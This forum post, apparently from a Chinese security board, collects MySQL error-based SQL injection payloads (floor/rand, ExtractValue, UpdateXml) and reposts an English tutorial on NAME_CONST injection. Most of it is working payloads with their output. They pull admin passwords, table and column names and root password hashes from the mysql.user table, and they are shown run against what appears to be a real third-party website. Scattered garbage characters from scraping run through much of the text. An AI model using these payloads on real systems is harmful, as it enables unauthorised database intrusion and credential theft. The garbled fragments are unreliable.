找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2800|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:$ a6 v; d7 ?8 ~; q9 p* ]
首先进行正常查询:

mysql> select * from article where id = 1;; L, w, X. u" O" P9 W
+—-+——-+———+2 l6 _. D2 l% L
| id | title | content |
- ?( a9 F  L" }; Y0 k( v+—-+——-+———+
! x% K. D2 \2 a3 l|  1 | test  | do it   |! W1 t# H) ]. h; _" p7 P
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);. H5 \" q0 Q- q, k0 b" M! J8 I
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
$ }- Q/ Y( j$ x. {例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
& h" {7 C4 r* M! nERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));# `" b$ [) h  Q7 U9 e3 D3 _. h
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
! n1 p5 h( g& c+ }测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–. v- Y, s/ x9 |* }
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


  i. k6 T' J* V' E5 h2 P
" F; V. a/ u& z$ [; D( V# @

再收集:

  ]! ?1 `; ]* J: w' b, z
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
1 s) S; c! l7 o' C: J
, b. B* X0 X# L1 oErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
3 [+ q/ [+ t' s6 d; `% [& @- L* J6 @4 H3 W% s. l9 G7 x
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c). ?$ H0 Y9 a9 z: u% g* o# t
6 K- m# M! y5 n" [$ G- o- [
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
1 d- L* S$ a" C
( j$ P/ W: }$ b/ K$ v: cMYSQL高版本报错注入技巧-利用NAME_CONST注入
2 P, ~! ^6 Y/ ?! L% b& V. |8 mIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
" ?  \) x+ A/ W4 q" D- i# a+ E2 M, x- h8 M+ V: K  S
" ~* }4 d% @( V2 i
相关信息
8 L2 j% m( X: o; s, M9 G
* m! d. l& O* [7 aNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.( T" ]9 `  D. K
* n- X6 Q& @0 E
Code:
5 q- i/ s; M% C9 I7 s+ u  cNAME_CONST(DATA, VALUE)" I& {$ }, o5 a. t9 e8 R6 Q  J9 ?7 N- H

+ i6 Q# C! K! a) H6 \Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.: B- i$ l7 x  B

  ]' o: e7 r, O7 e# L2 ^8 k. ySELECT NAME_CONST('TEST', 1)& E# G4 |8 L/ E# Q" ^0 R
$ z) D# U7 ^. ]

" h) E# A! t& r. ?7 D" V; s3 ~% ]; G. u! U( t0 Z
|---------------|
' V9 z9 n# M* V3 M( t1 Z! e  J|     TEST      |
) Y: |! L7 C8 \" o4 ~* V( M: X: K" b1 g|               |( I, A5 N# P9 `" j" l
|---------------|
5 d, s9 u0 a+ c& ^|       1       |! x, \& u6 g" G8 s: `
|               |
' \+ D' b" t" O' d|---------------|5 b8 B: E8 j$ G* m! A- {: P

8 g/ |( F. o! o2 M' d9 n5 C8 R* b7 L& n8 _
" p# {& a" `& ^. q

% Q$ s1 ~% v2 h, J4 g* Xhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
! b+ s( k1 T3 JIntro to MySQL Variables
: t; I  K, o+ c7 U0 ?
3 {( ~" J: O* h: ~: S3 A. G3 W3 E3 }* lOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
4 m- i* J0 A5 {
, k/ I3 e5 z' }Code:
7 l5 Z8 s, m$ o& ~( bhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
; P! k' q' Q% ]9 A" e* i( f* B  t0 z; Y; V) l* p
5 a& y* d- ]( a) S  q! x5 u

4 `  ~4 [8 o' S7 e( u4 k( h
$ T- P" ?( L( W0 I' F! \

' L3 w4 \  u: ^/ `& ]6 ZCode:
+ O8 t3 x0 U! e- i* p% H+ s' R/ ~6 Dand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
! K& s; p5 z4 m$ s4 L  k. ~9 D# p! V

4 K: b- U* b3 E) q, o: \) g. L2 Y/ X9 m& b" F
VAR = Your MySQL variable.0 s# {2 f) Z' W- `5 `) a3 ?
/ D, B" H4 e* F$ q$ d
MySQL 5.1.3 Server System Variables! ~" o* J; t7 k

3 L( z3 a4 p6 d. z+ K& tLet's try it out on my site..& ^8 @9 V3 X* w6 w0 Y8 I$ ?

% }, ^! ^) L2 h9 U( q: nCode:
9 B. g" x% P  Y& N) n: G' @http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--/ \, o- ?7 F& n. S( d; {

; ]* ?/ F+ \* z! IErroruplicate column name '5.0.27-community-nt'! Y& `9 ]" J7 o3 j) W7 Z

+ A6 ?; U* @6 x
! ^7 g  v; r$ r; }3 S5 ^6 g. E
. g. l7 n0 M& i) V
8 f; q  W7 k5 _7 m$ C& ~

+ R7 U! I- ^# }" O6 p+ ^; f& C3 rNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...* S0 |! F& q) y1 q
% G% r% W" \! T1 f2 n2 J  u
Data Extraction  L8 Q0 ~* m( {* y4 L( |

3 L% Y  K% i: F% c( v( iCode:
4 K3 |2 y* Y) q5 T/ n0 Q. p+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
; |* Q) q' ?# t5 u' j. P" u" S
! E& z3 z: Z2 N; n$ A- G

: V6 u  G9 ^% jWe should get a duplicate column 1 error...7 ~. h8 o* v( G* u; Q  |

# a" X+ q7 |8 _1 n% O+ W4 K; LCode:
. U( D+ n  D% p% ~" Uhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--( [8 w' @+ W& q3 B

" p5 T1 H1 ?% q: MErroruplicate column name '1
2 M7 X: Y/ u5 ~6 i' [9 t1 [
8 X; _( C. U* [7 D1 x# T1 K; e

4 R: q1 N- ~. t& I$ Q
+ p  \) R, G. k- P' L# ]5 F
3 R8 E. p% g! l9 f5 |

. n0 J% E; [3 ?$ F9 k* n' L' q+ U1 ?; o/ n  D
Now let's get the tables out this bitch..& K9 `1 X2 u* _# c+ l/ ~
$ R% y9 k# V/ i- D1 i  r
Code:
% d' X2 V, b; u' o3 P+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--" I# }/ t2 V; [' h6 n

8 n4 S0 v9 O  [- R  m3 x& P. x! Y5 S+ k, \% a% v. \
Let's see if it works here, if it does, we can go on and finish the job.1 [) [& |+ [6 V9 V

5 a( F: J/ L+ A$ r# S* d0 i, l+ L4 xCode:6 K- p, `) z: s8 @
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--" c" E4 \" k4 i8 T* _( Y& a

7 \5 O7 i; y; E/ ]6 x" ^/ v. n! r1 {8 K9 v
Erroruplicate column name 'com_admanage
: A7 B! `0 M, B3 x2 m

" n! [( \9 y9 g, T0 N$ Z6 s) L% J6 S9 d! B& L, o7 I8 r

! e0 |. p8 Y& E6 {' i0 N; F- I- ~2 H* l) |2 Z! ?5 L% G0 C
, _; W+ P* {7 h
: Y" O3 d* X- j* Q
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.5 F% r# R; \  n% [& l+ u* N# Z

' W$ D) f! O, e9 _: L  ZLet's get the columns out of the user table..; K  S7 R( u% c7 W" i, T

$ H" i3 E: S, `  z/ W& V1 N" ]Code:/ q8 D1 G/ H0 Y  U5 C
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--+ w" b6 `, S7 b0 f4 Q/ K  X
5 u8 \( j5 A; N* U1 h1 _

/ V! q6 v- k. E$ @( ASo mine looks like this, and I get the duplicate column name 'Host'., j7 e3 r2 G6 @7 g' U! x  _

, R& Z, x# W3 \& a# FCode:" H6 t  V$ \2 b( q- G9 H4 c
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
; X; S3 |! k4 I- ]' e" N4 I
8 u$ `7 v  N2 M, u* T, cErroruplicate column name 'Host'
5 K- F! T1 `  v  M' A5 Z
& c$ f6 i) Q0 }$ Y# q0 f

1 M9 h9 R* _- `. k8 S; M, {( E: ^, F! X

, Q) O% R+ J6 `4 d
/ g- c3 J8 |( \( j* M( J

0 c9 U! i1 I* W0 \0 DWoot, time to finish this bitch off.
5 O' Q# ]1 i+ t8 L, H  O! ~$ C
5 ^- d; W# T( c. m9 f! p2 `Code:
+ L5 k" Q$ u2 r" E5 h0 Y+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--( {2 m3 l, p* h+ Z3 t& H( o7 W" T

+ q* M0 b/ H/ [/ O6 Y
" P1 C  n! f6 c# m# ]So mine looks like this...
- e7 z0 |! C. X" p6 H- P" q6 _6 g; G, d
Code:5 d+ V- v6 x7 C4 k3 d' R
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
& p# {9 W7 e6 H  i1 u3 l$ H: \5 |3 R; U3 s% o! h- e2 {
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'; H9 |9 ^  _: A% r9 x
' ]1 L" V9 J* Z) W

6 q' q$ y8 Y& j : w7 y9 D* A! {8 R5 `5 ?! x5 q+ z

* ^0 R/ l& ^. F9 h, Y8 y$ i. E4 j

9 n$ Y1 u$ c) _" e: z5 [- R
: d& m& N% W3 L7 j- M- AAnd there we have it, thanks for reading.

0 a- {9 M% r3 d( M6 g  T
- q4 k" @# v6 y4 J. ]3 B, i' ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表